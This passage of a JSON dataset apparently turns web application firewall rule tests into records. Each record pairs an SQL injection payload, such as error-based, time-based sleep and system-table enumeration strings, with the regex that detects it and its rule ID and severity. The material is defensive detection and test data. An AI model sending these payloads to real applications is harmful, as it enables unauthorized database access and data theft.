"(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=AND ( name = \"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=4oR2-" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=AND engine = '" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=and code != \"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=and freigabe = \"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=AND 6698=(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=or class!=\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=or 4975==4975'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=1 GROUP BY CONCAT(0x7162766a71,(SELECT (CASE WHEN (5554=5554) THEN 1 ELSE 0 END)),0x7171786271,FLOOR(RAND(0)*2)) HAVING MIN(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=something%20LIKE%20%27" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|\\|\\||&&)[\\s\\x0b]+[\\s\\x0b0-9A-Z_a-z]+=[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?having[\\s\\x0b]+|like[^0-9A-Z_a-z]*?[\\\"'0-9`])|[0-9A-Z_a-z][\\s\\x0b]+like[\\s\\x0b]+[\\\"'`]|like[\\s\\x0b]*?[\\\"'`]%|select[\\s\\x0b]+?[\\s\\x0b\\\"'-\\),-\\.0-9A-\\[\\]_-z]+from[\\s\\x0b]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942260", "test_description": "Basic SQL authentication bypass" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=) when 234 then&foo=bar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\)[\\s\\x0b]*?when[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?then|[\\\"'`][\\s\\x0b]*?(?:[#\\{]|--)|/\\*![\\s\\x0b]?[0-9]+|\\b(?:(?:binary|cha?r)[\\s\\x0b]*?\\([\\s\\x0b]*?[0-9]|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|r(?:egexp|like))[\\s\\x0b]+[0-9A-Z_a-z]+\\()|(?:\\|\\||&&)[\\s\\x0b]*?[0-9A-Z_a-z]+\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942300", "test_description": "MySQL comments, conditions and ch(a)r injectionss" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=) when 234 then&foo=bar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\)[\\s\\x0b]*?when[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?then|[\\\"'`][\\s\\x0b]*?(?:[#\\{]|--)|/\\*![\\s\\x0b]?[0-9]+|\\b(?:(?:binary|cha?r)[\\s\\x0b]*?\\([\\s\\x0b]*?[0-9]|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|r(?:egexp|like))[\\s\\x0b]+[0-9A-Z_a-z]+\\()|(?:\\|\\||&&)[\\s\\x0b]*?[0-9A-Z_a-z]+\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942300", "test_description": "MySQL comments, conditions and ch(a)r injectionss" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=booked%20for%202021%28including%202020" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\)[\\s\\x0b]*?when[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?then|[\\\"'`][\\s\\x0b]*?(?:[#\\{]|--)|/\\*![\\s\\x0b]?[0-9]+|\\b(?:(?:binary|cha?r)[\\s\\x0b]*?\\([\\s\\x0b]*?[0-9]|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|r(?:egexp|like))[\\s\\x0b]+[0-9A-Z_a-z]+\\()|(?:\\|\\||&&)[\\s\\x0b]*?[0-9A-Z_a-z]+\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942300", "test_description": "No false positives with for. Issue #2007" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%22%27%20and%20%3d%20bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\([\\s\\x0b]*?select[\\s\\x0b]*?[0-9A-Z_a-z]+|coalesce|order[\\s\\x0b]+by[\\s\\x0b]+if[0-9A-Z_a-z]*?)[\\s\\x0b]*?\\(|\\*/from|\\+[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?\\+[\\s\\x0b]*?@|[0-9A-Z_a-z][\\\"'`][\\s\\x0b]*?(?:(?:[\\+\\-=@\\|]+[\\s\\x0b]+?)+|[\\+\\-=@\\|]+)[\\(0-9]|@@[0-9A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|[^0-9A-Z_a-z]!+[\\\"'`][0-9A-Z_a-z]|[\\\"'`](?:;[\\s\\x0b]*?(?:if|while|begin)|[\\s\\x0b0-9]+=[\\s\\x0b]*?[0-9])|[\\s\\x0b\\(]+case[0-9]*?[^0-9A-Z_a-z].+[tw]hen[\\s\\x0b\\(]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942310", "test_description": "Chained SQL injection attempts 2/2.\nThis test originally checked the expression `[\\\"'`]\\s+and\\s*?=\\W`. We opted to remove that expression as it\ndoes not appear to match anything useful (https://github.com/coreruleset/coreruleset/issues/2118).\nThis test now checks that no match occurs for something that would have matched the original expression.\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var='%20and%201%20in%20(select%20min(name)%20from%20sysobjects%20where%20xtype%20%3D%20'U'%20and%20name%20%3E%20'.')%20--" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\([\\s\\x0b]*?select[\\s\\x0b]*?[0-9A-Z_a-z]+|coalesce|order[\\s\\x0b]+by[\\s\\x0b]+if[0-9A-Z_a-z]*?)[\\s\\x0b]*?\\(|\\*/from|\\+[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?\\+[\\s\\x0b]*?@|[0-9A-Z_a-z][\\\"'`][\\s\\x0b]*?(?:(?:[\\+\\-=@\\|]+[\\s\\x0b]+?)+|[\\+\\-=@\\|]+)[\\(0-9]|@@[0-9A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|[^0-9A-Z_a-z]!+[\\\"'`][0-9A-Z_a-z]|[\\\"'`](?:;[\\s\\x0b]*?(?:if|while|begin)|[\\s\\x0b0-9]+=[\\s\\x0b]*?[0-9])|[\\s\\x0b\\(]+case[0-9]*?[^0-9A-Z_a-z].+[tw]hen[\\s\\x0b\\(]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942310", "test_description": "Chained SQL injection attempts 2/2.\nThis test checks for a positive match of `\\(\\s*?select\\s*?\\w+\\s*?\\(`.\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=order%20by%20if(1%3D1%2C1%2Csleep(1))" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\([\\s\\x0b]*?select[\\s\\x0b]*?[0-9A-Z_a-z]+|coalesce|order[\\s\\x0b]+by[\\s\\x0b]+if[0-9A-Z_a-z]*?)[\\s\\x0b]*?\\(|\\*/from|\\+[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?\\+[\\s\\x0b]*?@|[0-9A-Z_a-z][\\\"'`][\\s\\x0b]*?(?:(?:[\\+\\-=@\\|]+[\\s\\x0b]+?)+|[\\+\\-=@\\|]+)[\\(0-9]|@@[0-9A-Z_a-z]+[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z]|[^0-9A-Z_a-z]!+[\\\"'`][0-9A-Z_a-z]|[\\\"'`](?:;[\\s\\x0b]*?(?:if|while|begin)|[\\s\\x0b0-9]+=[\\s\\x0b]*?[0-9])|[\\s\\x0b\\(]+case[0-9]*?[^0-9A-Z_a-z].+[tw]hen[\\s\\x0b\\(]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942310", "test_description": "Chained SQL injection attempts 2/2.\nThis test checks for a positive match of `order\\s+by\\s+if\\w*?\\s*?\\(`.\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%22%27&var2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?\\b(?:x?or|div|like|between|and)\\b[\\s\\x0b]*?[\\\"'`]?[0-9]|\\x5cx(?:2[37]|3d)|^(?:.?[\\\"'`]$|[\\\"'\\x5c`]*?(?:[\\\"'0-9`]+|[^\\\"'`]+[\\\"'`])[\\s\\x0b]*?\\b(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|\\|\\||&&)\\b[\\s\\x0b]*?[\\\"'0-9A-Z_-z][!&\\(\\)\\+-\\.@])|[^\\s\\x0b0-9A-Z_a-z][0-9A-Z_a-z]+[\\s\\x0b]*?[\\-\\|][\\s\\x0b]*?[\\\"'`][\\s\\x0b]*?[0-9A-Z_a-z]|@(?:[0-9A-Z_a-z]+[\\s\\x0b]+(?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[\\\"'0-9`]+|[\\-0-9A-Z_a-z]+[\\s\\x0b](?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z])|[^\\s\\x0b0-:A-Z_a-z][\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z][\\s\\x0b]*?[\\\"'`].|[^0-9A-Z_a-z]information_schema|table_name[^0-9A-Z_a-z]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942330", "test_description": "classic SQL injection probings 1/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\\"1 or 1-" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?\\b(?:x?or|div|like|between|and)\\b[\\s\\x0b]*?[\\\"'`]?[0-9]|\\x5cx(?:2[37]|3d)|^(?:.?[\\\"'`]$|[\\\"'\\x5c`]*?(?:[\\\"'0-9`]+|[^\\\"'`]+[\\\"'`])[\\s\\x0b]*?\\b(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|\\|\\||&&)\\b[\\s\\x0b]*?[\\\"'0-9A-Z_-z][!&\\(\\)\\+-\\.@])|[^\\s\\x0b0-9A-Z_a-z][0-9A-Z_a-z]+[\\s\\x0b]*?[\\-\\|][\\s\\x0b]*?[\\\"'`][\\s\\x0b]*?[0-9A-Z_a-z]|@(?:[0-9A-Z_a-z]+[\\s\\x0b]+(?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[\\\"'0-9`]+|[\\-0-9A-Z_a-z]+[\\s\\x0b](?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z])|[^\\s\\x0b0-:A-Z_a-z][\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z][\\s\\x0b]*?[\\\"'`].|[^0-9A-Z_a-z]information_schema|table_name[^0-9A-Z_a-z]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942330", "test_description": "Test first backslash match ([\"'`\\]*?)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\\x23" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } 